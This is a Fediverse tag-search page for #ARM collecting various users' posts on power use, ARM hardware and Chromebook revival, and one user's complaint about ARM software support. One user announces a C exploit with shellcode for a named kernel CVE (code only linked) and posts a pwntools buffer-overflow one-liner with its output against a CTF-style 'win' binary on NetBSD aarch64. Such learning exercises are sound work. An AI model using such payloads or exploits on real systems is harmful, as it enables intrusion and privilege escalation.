schmonz.com is a Fediverse instance that uses the ActivityPub protocol. In other words, users at this host can communicate with people that use software like Mastodon, Pleroma, Friendica, etc. all around the world.

This server runs the snac software and there is no automatic sign-up process.

Search results for tag #ARM

[?]π™Ήπš˜πšŽπš• π™²πšŠπš›πš—πšŠπš β™‘ πŸ€ͺ Β» 🌐
@joel@gts.tumfatig.net

The difference is quite huge under heavy transfer load… rsync runs on "yellow" Intel machine and rsyncs data from it’s local storage to the remote "blue" arm64 one. Not sure if that explains the power usage difference πŸ€” #arm #FreeBSD

Two power consumption graphs while transferring data from one server to the other.

Alt...Two power consumption graphs while transferring data from one server to the other.

    Parade du Grotesque πŸ’€ boosted

    [?]π™Ήπš˜πšŽπš• π™²πšŠπš›πš—πšŠπš β™‘ πŸ€ͺ Β» 🌐
    @joel@gts.tumfatig.net

    This shows a power consumption difference while transferring (at 500Mbps-1Gbps using rsync/ssh) data from a WD 16TB with Intel N150 to a WD 16TB with ARM Cortex-A53. And makes me confident migrating to #arm is a good idea - power consumption wise. Both run #FreeBSD 14 BTW.

    Two graphs showing power consumption.

    Alt...Two graphs showing power consumption.

      [?]hubertf Β» 🌐
      @hubertf@mastodon.social

      code.fail: C Version with x86+ARM shellcode

      Here is an exploit written in C for the the copy.fail (copy.fail/, CVE-2026-31431) vulnerability. The embedded shellcode works on other CPUs than X86, with ARM as a primary target.

      Code: github.com/huberteff/copy-fail
      Technical writeup: feyrer.de/redir/copy.fail-C-ve

        [?]hubertf Β» 🌐
        @hubertf@mastodon.social

        The exploit includes cpu-specific shell code (ELF). I have the toolchain working to build working shell code and the exploit binary on both Linux/86 and Linux/ARM, but the exploit doesn't work out of the box on ARM.

        Anyone got further details if this vulnerability is only valid for x86?

          David Chisnall (*Now with 50% more sarcasm!*) boosted

          [?]Michael Engel Β» 🌐
          @me_@sueden.social

          Our Morello system has arrived!

          A very large PC case containing a rather small ARM Morello board. A CHERI cap is sitting on top.

          Alt...A very large PC case containing a rather small ARM Morello board. A CHERI cap is sitting on top.

            [?]hubertf Β» 🌐
            @hubertf@mastodon.social

            Learn something new every day! Today's lesson: a fundamental difference between x86 and ARM is how the return address for a function call is passed. The x86 CALL puts it on the stack, while ARM puts it not on the stack but in a register (Link Register LR, X30).

            Now today's lesson comes from TAMUCTF2026, and it is about MIPS. There, the return address is also passed as register, just like on ARM. On MIPS, it's the Return Address register ($RA / $31).

              #netbsd boosted

              [?]hubertf Β» 🌐
              @hubertf@mastodon.social

              pwning NetBSD-aarch64 (ARM)
              - feyrer.de/NetBSD/blog.html/nb_

                Jay 🚩 :runbsd: boosted

                [?]hubertf Β» 🌐
                @hubertf@mastodon.social

                This afternoon's fun: pwning NetBSD-aarch64 (ARM)

                (venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
                What is your name? Hello AAAAAAAAAAAAAAAAοΏ½
                Goodbye, winner.
                (venv-pwn) qnetbsd$ uname -a
                NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm

                  Jay 🚩 :runbsd: boosted

                  [?]hubertf Β» 🌐
                  @hubertf@mastodon.social

                  Testdriving NetBSD-11.0RC2 on ARM hardware (in VM!)

                  feyrer.de/NetBSD/blog.html/nb_

                    Cassandrich boosted

                    [?]Mike :nixos: Β» 🌐
                    @codemonkeymike@fosstodon.org

                    Yooooo, this is exciting. I've always written off as un-saveable since they can't be jailbroken with MrChomebox.

                    I just got like 50 of these Asus C100P arm chromebooks that are "expired". Digging around, it looks like will run on this!

                    Still stuff to figure out but DAMN this is promising. Being able to save even ARM chromebooks is epic. Dammit I love and

                    Asus Chromebook booting up to Postmarket OS

                    Alt...Asus Chromebook booting up to Postmarket OS

                      [?]R.L. Dane :Debian: :OpenBSD: :FreeBSD: 🍡 :MiraLovesYou: [he/him/my good fellow] Β» 🌐
                      @rl_dane@polymaths.social

                      CW: ARM kvetching [SENSITIVE CONTENT]

                      I'm looking at two #ARM devices sitting on my dresser, both tablets.

                      One is a locked-down piece of garbage, designed to be a locked-down piece of garbage. I regret buying it, because its utility is obscured by the horrible software stack on it, but it was stupidly cheap, an easy fire-and-forget purchasing decision.

                      The other is a lovely piece of open hardware, designed for openness, designed for linux. It was graciously sent to me by a #fedifriend last year. It is sadly out of support from the distro that supported it, and is basically stuck at nearly 10-year-old software versions without any path for an upgrade, unless I do some insane skill levelling-up and do an ARM #LFS on it, or something else nearly as hacky.

                      Both devices are sadly useless to me, even though one was designed to be a closed surveillance helldevice, and the other an open platform.

                      This is because ARM sucks. It has always sucked, and it will always suck. There are no open hardware interface standards, no easy way to address the hardware with FOSS drivers, and even when you do have FOSS software for it, it rarely finds its way upstream. The hardware itself is inspired, but the software/firmware/driver stack is utterly Kafkaesque.

                      I'm not going to belittle folks who get Apple Silicon devices to run linux on them, nor would I ever besmirch the heroic, herculean efforts of the #Asahi team to get linux working on that hardware, but please never forget that those are herculean efforts, and should they ever cease, your hardware support is dead in the water.

                      As for me, I'd rather have a thermal-belching, potato-performant Intel Atom-based brickphone than a sleek, battery-sipping, crazy-performant ARM laptop. πŸ˜…

                        about this site - powered by snac/2.89